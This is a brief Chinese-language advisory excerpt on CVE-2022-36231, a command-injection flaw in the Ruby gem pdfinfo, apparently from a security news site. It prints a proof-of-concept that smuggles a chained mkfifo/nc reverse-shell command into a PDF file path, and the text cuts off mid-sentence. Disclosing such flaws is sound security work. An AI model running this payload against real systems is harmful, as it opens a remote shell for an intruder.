CVE-2022-36231

CVE-2022-36231 ruby gem pdfinfo /dev/null 与 initialize 方法一样，@pdfpath 变量也没有执行任何验证。这使得我们可以利用 ; 进行命令链来执行任意命令。 root@kitploit: info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 上述代码片段将向 127.0.0.1 的 4444 端口执行一个反向 Shell。 披露...